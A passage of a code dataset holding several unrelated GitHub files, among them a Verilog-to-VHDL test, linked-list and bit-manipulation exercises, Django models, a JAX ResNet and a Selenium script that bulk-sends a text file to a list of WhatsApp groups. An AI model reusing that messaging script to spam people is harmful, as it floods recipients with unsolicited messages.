= \"U11: OAI22X1 PORT MAP(A=>n32, B=>n5, C=>n3, D=>n6, Y=>n25);\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Missing Instance\"):\r\n line = \"BAD(.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25))\"\r\n\r\n expectedValue = \"Error: Bad Line.\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Missing Component\"):\r\n line = \".A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)\"\r\n\r\n expectedValue = \"Error: Bad Line.\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Extra Parentheses\"):\r\n line = \"First U22 ((.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)))\"\r\n\r\n expectedValue = \"Error: Bad Line.\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Invalid Names\"):\r\n line = \"First $U22 ((.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)))\"\r\n\r\n expectedValue = \"Error: Bad Line.\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Extra Closing Parenthesis\"):\r\n line = \"First U22 (.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)))\"\r\n\r\n expectedValue = \"Error: Bad Line.\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Bad Assignment\"):\r\n line = \"First U22 (.A(n32),.B(n?),.C(n3),.D(n6),.Y(n25))\"\r\n\r\n expectedValue = \"Error: Bad Line.\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n def test_convertFile(self):\r\n\r\n from netConverter import convertNetlist\r\n\r\n sourceFileName = \"verilog_test.v\"\r\n expectedFileName = \"vhdl_test.vhdl\"\r\n actualFileName = str(uuid.uuid4()) + '.txt'\r\n\r\n convertNetlist(sourceFileName, actualFileName)\r\n actualValue, expectedValue = loadTextFiles(actualFileName, expectedFileName)\r\n os.remove(actualFileName)\r\n\r\n self.assertEqual(actualValue, expectedValue)\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"xue59/ECE364-Lab-Hw-Project","sub_path":"Lab08/lab08_tests.py","file_name":"lab08_tests.py","file_ext":"py","file_size_in_byte":7600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"14724880367","text":"#Dwie listy zawierają niepowtarzające się (w obrębie listy) liczby\n#naturalne. W pierwszej liście liczby są posortowane rosnąco, a w drugiej\n#nie. Proszę napisać funkcję usuwającą z obu list liczby występujące w obu\n#listach. Do funkcji należy przekazać wskazania na obie listy, funkcja\n#powinna zwrócić łączną liczbę usuniętych elementów.\n\nclass node:\n def __init__(self, value = None, next = None):\n self.value = value\n self.next = next\n\n\nclass linked_list:\n def __init__(self):\n self.first = None\n\n\n def insert(self, num):\n if self.first == None:\n self.first = node(num)\n return\n\n tmp = self.first\n while tmp.next:\n tmp = tmp.next\n\n tmp.next = node(num)\n\n\n def printlist(self):\n tmp = self.first\n while tmp:\n print(tmp.value, end = \" \")\n tmp = tmp.next\n print('\\n')\n\ndef two_lists(f1, f2):\n\n war = node()\n war.next = f1.first\n f1.first = war\n\n car = node()\n car.next = f2.first\n f2.first = car\n\n cnt = 0\n p = f1.first # posortowana\n\n while p.next:\n q = f2.first\n todel = False\n\n while q.next:\n\n if q.next.value == p.next.value:\n tmp = q.next\n q.next = tmp.next\n del tmp\n todel = True\n break\n\n q = q.next\n\n if todel:\n cnt += 2\n tmp = p.next\n p.next = tmp.next\n del tmp\n\n else:\n p = p.next\n\n f1.first = f1.first.next\n f2.first = f2.first.next\n return cnt\n\n\n\nf1 = linked_list()\nf2 = linked_list()\n\nf1.insert(0)\nf1.insert(1)\nf1.insert(2)\nf1.insert(3)\nf1.insert(9)\n\nf2.insert(0)\nf2.insert(3)\nf2.insert(1)\nf2.insert(5)\nf2.insert(8)\nf2.insert(6)\nf2.insert(2)\n\nprint(\"Usunieto: \",two_lists(f1, f2))\nf1.printlist()\nf2.printlist()","repo_name":"mamikula/Introduction-to-Computer-Science","sub_path":"Z07/Z07P28.py","file_name":"Z07P28.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70793645210","text":"import pickle\nimport os\nimport numpy as np\nfrom prototypes.reinforcement_based_mcmc import RL_MCMC\n\nhome = os.path.expanduser('~')\ndataset = 'matsc_dataset2'\ndata_home = home + '/Documents/research/EP_project/data/'\nresults_home = home + '/Documents/research/EP_project/results/'\nmax_iters = 21\n\npipeline = {}\npipeline['feature_extraction'] = [\"VGG\", \"haralick\", \"inception\"]\npipeline['dimensionality_reduction'] = [\"PCA\", \"ISOMAP\"]\npipeline['learning_algorithm'] = [\"SVM\", \"RF\"]\nrm = RL_MCMC(data_name=dataset, data_loc=data_home, results_loc=results_home, pipeline=pipeline)\nrm.populate_paths()\npaths = rm.paths\nerrors = np.zeros((max_iters, 4))\nfor i in range(max_iters):\n\t[obj, best_pipeline, best_error, time] = pickle.load(open(results_home + 'intermediate/bayesian_MCMC/bayesian_MCMC_' + dataset + '_iter_' + str(i) + '.pkl', 'rb'))\n\tpipelines = obj.best_pipelines\n\tpotential = obj.potential\n\t# Final Errors\n\terrors[i, 3] = best_error\n\n\t# Feature extraction\n\tp = pipeline['feature_extraction']\n\terrs = []\n\tfor j in range(len(p)):\n\t\talg = p[j]\n\t\terr = []\n\t\tfor k in range(len(pipelines)):\n\t\t\tif paths[k][0] == alg:\n\t\t\t\terr.append(potential[k])\n\t\terrs.append(min(err))\n\terrors[i, 0] = np.mean(errs)\n\n\t# Dimensionality reduction\n\tp = pipeline['dimensionality_reduction']\n\terrs = []\n\tfor j in range(len(p)):\n\t\talg = p[j]\n\t\terr = []\n\t\tfor k in range(len(pipelines)):\n\t\t\tif paths[k][1] == alg:\n\t\t\t\terr.append(potential[k])\n\t\terrs.append(min(err))\n\terrors[i, 1] = np.mean(errs)\n\n\t# Learning algorithms\n\tp = pipeline['learning_algorithm']\n\terrs = []\n\tfor j in range(len(p)):\n\t\talg = p[j]\n\t\terr = []\n\t\tfor k in range(len(pipelines)):\n\t\t\tif paths[k][2] == alg:\n\t\t\t\terr.append(potential[k])\n\t\terrs.append(min(err))\n\terrors[i, 2] = np.mean(errs)\n\npickle.dump(errors, open(results_home + 'intermediate/bayesian_MCMC/errors_' + dataset + '.pkl', 'wb'))\n","repo_name":"AriChow/error_propagation","sub_path":"prototypes/error_propagation_regression.py","file_name":"error_propagation_regression.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23006750325","text":"import os\n\nimport numpy as np\n\nfrom . import misc\nfrom ..commandline_logging import get_logger\nfrom ..defs import IMPORT_TYPES\nfrom ..io import representation\n\nlog = get_logger(__name__)\n\n\ndef get_joint_info_dict(robot, joint_list):\n \"\"\"\n Gets the joint information used for joint_limits file from the robot\n \"\"\"\n out = {\"names\": [], \"elements\": []}\n for joint in sorted(joint_list):\n j = robot.get_joint(joint)\n if j is None:\n raise Exception(\"Joint of name \"+joint+\" not found in robot!\")\n if j.joint_type != \"fixed\":\n out[\"names\"] += [j.name]\n if j.limit is None:\n log.warning(f\"No joint limits defined for joint {j.name} (type: {j.joint_type})\")\n out[\"elements\"] += [{\n # \"name\" : j,\n \"max\": {\n \"position\": j.limit.upper if j.limit is not None else 0,\n \"speed\": j.limit.velocity if j.limit is not None else 0,\n \"effort\": j.limit.effort if j.limit is not None else 0\n },\n \"min\": {\"position\": j.limit.lower if j.limit is not None else 0}\n }]\n return out\n\n\ndef sort_children_by(parent, attr):\n \"\"\"Recursively sorts the children of the parent by the given attr.ibute\"\"\"\n if len(parent) <= 1 or parent[0].get(attr) is None:\n return\n parent[:] = sorted(parent, key=lambda ch: ch.get(attr))\n for child in parent:\n sort_children_by(child, attr)\n\n\ndef transform_object(obj, T, relative_to):\n \"\"\" Transform a given object with a given homogeneous transformation T.\n \"\"\"\n if isinstance(obj, list):\n for o in obj:\n assert transform_object(o, T)\n return True\n\n if obj is None or not hasattr(obj, \"origin\") or obj.origin is None:\n return False\n\n obj.origin.transformed_by(T)\n return True\n\n\ndef adapt_mesh_pathes(robot, new_urdf_dir, copy_to=None):\n # [TODO pre_v2.0.0] Check whether this has become obsolete due to export adaption\n for link in robot.links:\n for geo in link.visuals + link.collisions:\n if isinstance(geo.geometry, representation.Mesh):\n new_mesh_path = read_relative_filename(geo.geometry.filename, robot.xmlfile)\n if copy_to is not None:\n new_mesh_path = os.path.join(copy_to,\n os.path.basename(geo.geometry.filename).lower().split(\".\")[-1],\n os.path.basename(geo.geometry.filename)\n )\n misc.copy(\n None,\n os.path.join(os.path.dirname(robot.xmlfile), geo.geometry.filename),\n new_mesh_path,\n silent=True\n )\n geo.geometry.filename = os.path.relpath(new_mesh_path, new_urdf_dir)\n\n\ndef read_relative_filename(filename, start_file_path):\n if start_file_path is None or os.path.isabs(filename):\n return filename\n if not os.path.isabs(start_file_path):\n start_file_path = os.path.abspath(start_file_path)\n if start_file_path.split(\".\")[-1] in IMPORT_TYPES:\n start_file_path = os.path.dirname(start_file_path) # /bla/blub/xyz/blib.xyz -> /bla/blub/xyz\n if filename.startswith(\"package://\"): # ROS Package\n if os.path.basename(start_file_path) in IMPORT_TYPES+[\"xacro\"]:\n package_dir = os.path.dirname(start_file_path) # /bla/blub/xyz -> /bla/blub\n else:\n raise IOError(\"Can't derive package_dir from \" + start_file_path + \". \"\n \"This usually happens when your URDF/SDF specifies the filepathes in the style \"\n \"'package://${PACKAGE_NAME}/...' but your SDF/URDF is not correctly placed in the \"\n \"urdf/sdf sub-directory of ${PACKAGE_NAME}.\")\n out = os.path.join(package_dir, filename[len(\"package://\"):].split(\"/\", 1)[-1])\n assert os.path.exists(out), f\"Couldn't identify file from {filename}. Tried {out} but it doesn't exist!\"\n elif os.path.isabs(filename):\n out = filename\n else: # normal urdf\n out = os.path.join(start_file_path, filename)\n return os.path.normpath(out)\n","repo_name":"dfki-ric/phobos","sub_path":"phobos/utils/xml.py","file_name":"xml.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","stars":588,"dataset":"github-code","pt":"32"} +{"seq_id":"14847939800","text":"import matplotlib.pyplot as plt\nimport pandas as pd\ndf = pd.read_csv('/media/linwei/disk1/NATS-Bench/350cifar10/r50step.csv', usecols=[1,2,3])\nprint(df.keys())\n#\nx = df['0'].tolist()\ny1 = df['1'].tolist()\ny2 = df['2'].tolist()\n\nfig, ax = plt.subplots(ncols=2, figsize=(10,4))\n\nax[0].plot(x,y1)\nax[1].plot(x,y2)\n\nfig.show()","repo_name":"Misakaaaaaz/NAS","sub_path":"calibration/PLT.py","file_name":"PLT.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1102704409","text":"from inspect import currentframe, getframeinfo\n\ndef modulus(large_num, divisor=1000007):\n # If the divisor is a power of 2, you can take advantage of the binary\n # representation of the integers to find the remainder quickly: remainder =\n # dividend & (divisor - 1) /* for positive dividends */\n return large_num & (divisor-1)\n\nprint(modulus(23456788999999))\nprint(modulus(123))\n\ndef modulo(X, Y):\n assert X >= 0 and Y > 0\n if X < Y:\n return X\n M = modulo (X, Y<<1)\n if M >= Y:\n M -= Y\n return M\n\nprint('modulo(10, 3)', modulo(10, 3))\nfrom random import randint\nfor _ in range(1000):\n a, b = randint(0, 1000), randint(1, 100)\n assert a%b==modulo(a,b), \"modulo({}, {})\".format(a, b)\n assert a%b == modulus(a,b), \"modulo({}, {})\".format(a, b)\n\n\ndef swap_ints(a, b):\n a ^= b\n b ^= a\n a ^= b\n return a, b\n\n\nprint(swap_ints(1, 2))\n\n# lonely integer\n# https://www.hackerrank.com/challenges/lonely-integer/problem\n\nfrom functools import reduce\n\ndef find_lonely_integer(list):\n return reduce(lambda a, b: a^b, list, 0)\n\nprint(find_lonely_integer([1,1,2]))\nprint(find_lonely_integer([0,0,1,2,1]))\n\n\n# https://www.hackerrank.com/challenges/counter-game/problem\n\nimport math\n\ndef invertBits(num):\n\n # calculating number of bits in the number\n x = int(math.log2(num)) + 1\n\n # Inverting the bits one by one\n for i in range(x):\n num = (num ^ (1 << i))\n print(num)\n\n return num\n\nprint(bin(10))\nprint(invertBits(10))\n\n\nfrom itertools import cycle\nfrom math import log2\n\ndef get_linenumber():\n cf = currentframe()\n return cf.f_back.f_lineno\n\ndef check_power_2(x):\n if x == 2:\n return True\n x = int(x)\n return x & (x-1) == 0\n\ndef get_lower_2_pow(x):\n x = int(x)\n size = int(log2(x))\n last2 = 1 << size\n return x - last2\n\ndef play_counter_game(x, players, counter=None):\n if counter is None and x == 1:\n return \"Richard\"\n\n if counter is None:\n counter = x\n\n curr_player = next(players)\n if counter is 1:\n return curr_player\n\n if check_power_2(counter):\n curr_val = int(counter/2)\n print(curr_player, curr_val, get_linenumber())\n if curr_val == 1:\n return curr_player\n return play_counter_game(x, players, counter=curr_val)\n else:\n curr_val = get_lower_2_pow(counter)\n print(curr_player, curr_val, get_linenumber())\n if curr_val == 1:\n return curr_player\n return play_counter_game(x, players, counter=curr_val)\n\n\ndef counter_game(counter):\n players = cycle([\"Loise\", \"Richard\"])\n return play_counter_game(counter, players)\n\nprint(counter_game(6))\n\n","repo_name":"infinite-Joy/programming-languages","sub_path":"python-projects/algo_and_ds/bit_manipulation.py","file_name":"bit_manipulation.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"43151692178","text":"from collections import deque\r\nstart, end = map(int,input().split())\r\nq = deque()\r\n\r\ndx = [1,-1,2]\r\nvisited = [0 for i in range(100001)]\r\nq.append(start)\r\n\r\nwhile q :\r\n start= q.popleft()\r\n if start == end :\r\n print(visited[start])\r\n exit()\r\n for i in range(3):\r\n if i == 2 :\r\n nx = dx[i] * start\r\n else :\r\n nx = dx[i] + start\r\n if 0<=nx<=100000 and not visited[nx]:\r\n visited[nx] = visited[start] + 1\r\n q.append(nx)\r\n","repo_name":"Edwin9905/backjoon","sub_path":"백준/Silver/1697. 숨바꼭질/숨바꼭질.py","file_name":"숨바꼭질.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10374545208","text":"\"\"\"\nLeetcode: https://leetcode.com/problems/leaf-similar-trees\nDate: 8-Dec-2022\nAuthor: Ankur Jat (https://www.linkedin.com/in/ankur-jat-41355674/)\n\"\"\"\n\n\nclass TreeNode(object):\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution(object):\n def leafSimilar(self, root1, root2):\n \"\"\"\n :type root1: TreeNode\n :type root2: TreeNode\n :rtype: bool\n \"\"\"\n def dfs(node, leaf_nodes):\n if not node:\n return\n if not node.left and not node.right:\n return leaf_nodes.append(node.val)\n dfs(node.left, leaf_nodes)\n dfs(node.right, leaf_nodes)\n root1_leaves, root2_leaves = [], []\n dfs(root1, root1_leaves)\n dfs(root2, root2_leaves)\n return root1_leaves == root2_leaves\n\n\ndef test():\n solution = Solution()\n\n root = TreeNode(10)\n root.left = TreeNode(5)\n root.right = TreeNode(15)\n root.left.left = TreeNode(3)\n root.left.right = TreeNode(7)\n root.right.right = TreeNode(18)\n root2 = TreeNode(5)\n root2.left = TreeNode(3)\n root2.right = TreeNode(9)\n root2.right.left = TreeNode(7)\n root2.right.right = TreeNode(18)\n assert solution.leafSimilar(\n root, root2) == True, \"First case wrong result\"\n root2.right.right = None\n assert solution.leafSimilar(\n root, root2) == False, \"Second case wrong result\"\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"Ankur-Jat/leetcode","sub_path":"python/src/leaf_similar_trees_872.py","file_name":"leaf_similar_trees_872.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26696566753","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nimport logging\nimport datetime\n\n\nUSER_LIST = \"users.txt\"\nTEXT_FILE_PATH = 'text.txt'\n\nINPUT_BOX_CSS = \"#main > footer > div._2lSWV._3cjY2.copyable-area > div > span:nth-child(2) > div > div._1VZX7 > \" \\\n \"div._3Uu1_ > div.g0rxnol2.ln8gz9je.lexical-rich-text-input > div.to2l77zo.gfz4du6o.ag5g9lrv.bze30y65\" \\\n \".kao4egtt\"\nCHROMEDRIVER = \"C:\\chromedriver.exe\"\nSELECTOR_CSS = \"#main > footer > div._2lSWV._3cjY2.copyable-area\"\nLABEL_NAME_GROUP_CSS = \"#main > header > div._2au8k > div._6u0RM > div > span\"\n\nlogging.basicConfig(filename='my_script.log',\n level=logging.INFO)\n\n\n\n# Создание словаря \"клиент:ссылка_на_группу\" из тектового файла USER_LIST\ndef create_user_dict_from_file(file_path):\n user_dict = {}\n with open(file_path, 'r', encoding='utf-8') as file:\n for line in file:\n line = line.strip() # Удалить лишние пробелы и символы перевода строки\n if line:\n parts = line.split(' ') # Разделить строку на части\n if len(parts) == 2:\n user_name, user_link = parts\n user_dict[user_name] = user_link\n return user_dict\n\n\n# Ожидание элемента на странице для проверки того что страница загрузилась\ndef wait_for_element(driver, selector, max_wait_time, retry_interval):\n total_wait_time = 0\n\n while total_wait_time < max_wait_time:\n try:\n WebDriverWait(driver, retry_interval).until(\n EC.presence_of_element_located(selector)\n )\n return True # Элемент найден, выходим из цикла\n except:\n total_wait_time += retry_interval\n print(f\"Ожидание элемента... Прошло {total_wait_time} сек.\")\n\n return False # Элемент не был найден после максимального времени ожидания\n\n\n# Главная функция\ndef main():\n options = webdriver.ChromeOptions()\n options.add_argument(r\"--user-data-dir=D:\\newdir\")\n options.add_argument(r'--profile-directory=Profile')\n service = Service(executable_path=CHROMEDRIVER)\n driver = webdriver.Chrome(service=service, options=options)\n\n # Получаем словарь \"Клиент:Ссылка\"\n users_and_links = create_user_dict_from_file(USER_LIST)\n i = 0\n # Цикл по клиентам для отправки\n for user_name, link, in users_and_links.items():\n i += 1\n # Открываем лог для текущего клиента с именем клиента\n logger = logging.getLogger(user_name+\" \")\n\n # Получаем текущую дату и время\n current_datetime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n driver.get(link)\n\n # Ожидание загрузки страницы\n selector = (By.CSS_SELECTOR, SELECTOR_CSS)\n if not wait_for_element(driver, selector, max_wait_time=120, retry_interval=20):\n print(\"Элемент не был найден после максимального времени ожидания.\")\n continue\n\n # Открываем файл с текстом для копирования в буффер\n with open(TEXT_FILE_PATH, 'r', encoding='utf-8') as file:\n message_text = file.read()\n\n # Находим поле ввода текста и выделяем его для вставки текста ищ буффера\n input_box = driver.find_element(By.CSS_SELECTOR, INPUT_BOX_CSS)\n input_box.click()\n\n # Копируем текст в буфер обмена\n driver.execute_script(\"navigator.clipboard.writeText(arguments[0]);\", message_text)\n\n # Вставляем текст из буфера обмена в поле ввода текста\n input_box.send_keys(Keys.CONTROL, 'v')\n\n # Отправляем сообщение\n input_box.send_keys(Keys.RETURN)\n\n # Получаем имя группы куда отправили\n label_name_group = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, LABEL_NAME_GROUP_CSS)))\n\n print(f\"№{i}) В группу: {label_name_group.text} - Сообщение отправленно!\")\n\n # Запись информации о факте отправки сообщения в лог клиента с указанием времени\n logger.info(f\"{current_datetime} - Сообщение отправлено в группу: {label_name_group.text}\")\n\n # Ждём 3 секунды для того что бы сообщение точно отправилось\n time.sleep(4)\n\n driver.quit()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wowa3520/WASpammer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29612879051","text":"from django.contrib.auth.models import AbstractUser\nfrom django.core.validators import RegexValidator\nfrom django.db import models\n\nimport foodgram.constants as const\n\n\nclass FoodgramUser(AbstractUser):\n \"\"\"Модель пользователя.\"\"\"\n class Roles(models.TextChoices):\n \"\"\"Роли пользователей.\"\"\"\n USER = 'user', 'user'\n ADMIN = 'admin', 'admin'\n\n username = models.CharField('Логин', max_length=const.MAX_LENGHT_USERNAME,\n unique=True, validators=[RegexValidator(\n regex=r'^[\\w.@+-]+$', ), ])\n first_name = models.CharField(\n 'Имя', max_length=const.MAX_LENGHT_FIRST_NAME, blank=False)\n last_name = models.CharField(\n 'Фамилия', max_length=const.MAX_LENGHT_LAST_NAME, blank=False)\n email = models.EmailField(\n 'Email',\n max_length=const.MAX_LENGHT_EMAIL,\n unique=True)\n role = models.CharField(max_length=const.MAX_LENGHT_ROLE,\n choices=Roles.choices, blank=True,\n null=True, default=Roles.USER)\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = ['username', 'first_name', 'last_name']\n\n class Meta:\n ordering = ('username',)\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n\n def __str__(self):\n return self.username\n\n\nclass Follow(models.Model):\n user = models.ForeignKey(FoodgramUser, on_delete=models.CASCADE,\n related_name='follower')\n author = models.ForeignKey(FoodgramUser, on_delete=models.CASCADE,\n related_name='following')\n\n class Meta:\n verbose_name = 'Подписка'\n verbose_name_plural = 'Подписки'\n constraints = (models.UniqueConstraint(\n fields=('user', 'author'),\n name='unique_follow'),)\n","repo_name":"mnk96/foodgram-project-react","sub_path":"backend/foodgram/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27304894109","text":"import json\nimport argparse\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch_dsl import Search\n\ndef args_parse():\n description = ''' Prints the n most cited titles\n '''\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument('--index',\n dest='index',\n help='Name of the Elasticsearch index.',\n type=str,\n default='titles',\n )\n parser.add_argument('-n', '--n',\n dest='n',\n help='Number of titles to fetch.',\n type=int,\n default=10,\n )\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n args = args_parse()\n es = Elasticsearch()\n s = Search(using=es, index=args.index)[:0]\n s.aggs.bucket('group_by_state', 'terms', field='title.keyword', size=args.n)\n res = s.execute()\n for bucket in res['aggregations']['group_by_state']['buckets']:\n print(bucket['doc_count'], bucket['key'])\n","repo_name":"github-ac/citation_context","sub_path":"most_common_titles.py","file_name":"most_common_titles.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4853193867","text":"\"\"\" Basically ported from homura.vision\n\"\"\"\nfrom __future__ import annotations\n\nimport math\nfrom collections.abc import Callable\n\nimport equinox\nimport jax\nfrom jax import numpy as jnp\nfrom jaxtyping import Array\n\nfrom equinox_vision.models.utils import conv1x1, conv3x3\n\n\nclass BasicBlock(equinox.Module):\n conv1: equinox.Module\n conv2: equinox.Module\n downsample: equinox.Module\n act: equinox.Module = equinox.static_field()\n preact: bool = equinox.static_field()\n\n def __init__(self,\n in_channels: int,\n channels: int,\n stride: int,\n groups: int,\n width_per_group: int,\n norm: Callable[[int], equinox.Module] | None,\n act: equinox.Module,\n preact: bool = False,\n *,\n key: jax.random.PRNGKeyArray\n ):\n key0, key1, key2 = jax.random.split(key, 3)\n channels = int(channels * (width_per_group / 16)) * groups\n use_bias = norm is None\n if preact:\n self.conv1 = equinox.nn.Sequential([equinox.nn.Identity() if norm is None else norm(in_channels), act,\n conv3x3(in_channels, channels, stride, use_bias=use_bias, key=key0)])\n self.conv2 = equinox.nn.Sequential([equinox.nn.Identity() if norm is None else norm(channels), act,\n conv3x3(channels, channels, use_bias=use_bias, key=key1)])\n else:\n self.conv1 = equinox.nn.Sequential([conv3x3(in_channels, channels, stride, use_bias=use_bias, key=key0),\n equinox.nn.Identity() if norm is None else norm(channels), act])\n self.conv2 = equinox.nn.Sequential([conv3x3(channels, channels, use_bias=use_bias, key=key1),\n equinox.nn.Identity() if norm is None else norm(channels)])\n self.downsample = (equinox.nn.Identity()\n if in_channels == channels else\n equinox.nn.Sequential([conv1x1(in_channels, channels, stride=stride,\n use_bias=use_bias, key=key2),\n equinox.nn.Identity() if preact else norm(channels)]))\n self.act = act\n self.preact = preact\n\n def __call__(self,\n x: Array,\n *,\n key: jax.random.PRNGKeyArray = None\n ) -> Array:\n out = self.conv1(x)\n out = self.conv2(out)\n out = out + self.downsample(x)\n out = out if self.preact else self.act(out)\n return out\n\n\nclass ResNet(equinox.nn.Sequential):\n\n def __init__(self,\n block: type[BasicBlock],\n norm: Callable[[int], equinox.Module] | None,\n num_classes: int,\n layer_depth: int,\n width: int = 16,\n widen_factor: int = 1,\n in_channels: int = 3,\n groups: int = 1,\n width_per_group: int = 16,\n act: Callable[[Array], Array] = jax.nn.relu,\n preact: bool = False,\n *,\n key: jax.random.PRNGKeyArray\n ):\n expansion = 1\n act = equinox.nn.Lambda(act)\n\n key, key0, key1 = jax.random.split(key, 3)\n conv = conv3x3(in_channels, width, stride=1, use_bias=norm is None, key=key0)\n post_conv = equinox.nn.Identity() if preact else equinox.nn.Sequential([norm(width), act])\n pool = equinox.nn.AdaptiveMaxPool2d(1)\n pre_pool = (equinox.nn.Sequential([norm(4 * width * expansion * widen_factor), act])\n if preact else equinox.nn.Identity())\n fc = equinox.nn.Linear(4 * width * expansion * widen_factor, num_classes, key=key1)\n\n def _make_layer(key: jax.random.PRNGKeyArray, in_planes: int, planes: int, stride: int\n ) -> tuple[equinox.Module, int]:\n layers = []\n for i in range(layer_depth):\n key, key0 = jax.random.split(key)\n layers.append(block(in_planes, planes, stride if i == 0 else 1, groups, width_per_group, norm, act,\n preact=preact, key=key0))\n if i == 0:\n in_planes = planes * expansion\n return equinox.nn.Sequential(layers), in_planes\n\n key, key0, key1, key2 = jax.random.split(key, 4)\n layer1, in_plane = _make_layer(key0, width, width * widen_factor, stride=1)\n layer2, in_plane = _make_layer(key1, in_plane, width * 2 * widen_factor, stride=2)\n layer3, in_plane = _make_layer(key2, in_plane, width * 4 * widen_factor, stride=2)\n\n layers = (conv, post_conv, layer1, layer2, layer3, pre_pool, pool,\n equinox.nn.Lambda(lambda x: jnp.reshape(x, (-1,))), fc)\n\n # initialization, see https://github.com/patrick-kidger/equinox/issues/179\n\n def kaiming_normal(w, k):\n fan_out = w.shape[0] * math.prod(w.shape[2:])\n gain = math.sqrt(2)\n std = gain / math.sqrt(fan_out)\n return jax.random.normal(k, w.shape) * std\n\n is_conv = lambda x: isinstance(x, equinox.nn.Conv2d)\n get_conv_weights = lambda m: [x.weight for x in jax.tree_util.tree_leaves(m, is_conv) if is_conv(x)]\n conv_weights = get_conv_weights(layers)\n new_weights = [kaiming_normal(w, k) for w, k in zip(conv_weights, jax.random.split(key, len(conv_weights)))]\n layers = equinox.tree_at(get_conv_weights, layers, new_weights)\n\n super().__init__(layers)\n\n def train(self) -> ResNet:\n return equinox.tree_inference(self, False)\n\n def eval(self) -> ResNet:\n return equinox.tree_inference(self, True)\n\n\ndef batch_norm(num_channels: int,\n axis_name: str = 'batch',\n momentum: float = 0.9, # same as PyTorch's default,\n ) -> equinox.Module:\n return equinox.experimental.BatchNorm(num_channels, axis_name=axis_name, momentum=momentum)\n\n\ndef resnet(key: jax.random.PRNGKeyArray,\n num_classes: int,\n depth: int,\n in_channels: int = 3,\n norm: Callable[[int], equinox.Module] | None = batch_norm,\n act: Callable[[Array], Array] = jax.nn.relu,\n **kwargs\n ) -> ResNet:\n assert (depth - 2) % 6 == 0\n layer_depth = (depth - 2) // 6\n return ResNet(BasicBlock, norm, num_classes, layer_depth, in_channels=in_channels, act=act, key=key, **kwargs)\n\n\ndef wide_resnet(key: jax.random.PRNGKeyArray,\n num_classes: int,\n depth: int,\n widen_factor: int,\n in_channels: int = 3,\n norm: Callable[[int], equinox.Module] | None = batch_norm,\n act: Callable[[Array], Array] = jax.nn.relu,\n **kwargs\n ) -> ResNet:\n assert (depth - 4) % 6 == 0\n layer_depth = (depth - 4) // 6\n return ResNet(BasicBlock, norm, num_classes, layer_depth, in_channels=in_channels,\n widen_factor=widen_factor, act=act, preact=True, key=key, **kwargs)\n\n\ndef resnet20(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" ResNet by He+16\n \"\"\"\n return resnet(key, num_classes, 20, in_channels, )\n\n\ndef resnet32(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" ResNet by He+16\n \"\"\"\n return resnet(key, num_classes, 32, in_channels, )\n\n\ndef resnet56(key: jax.random.PRNGKeyArray,\n num_classes: int = 10,\n in_channels: int = 3\n ) -> ResNet:\n \"\"\" ResNet by He+16\n 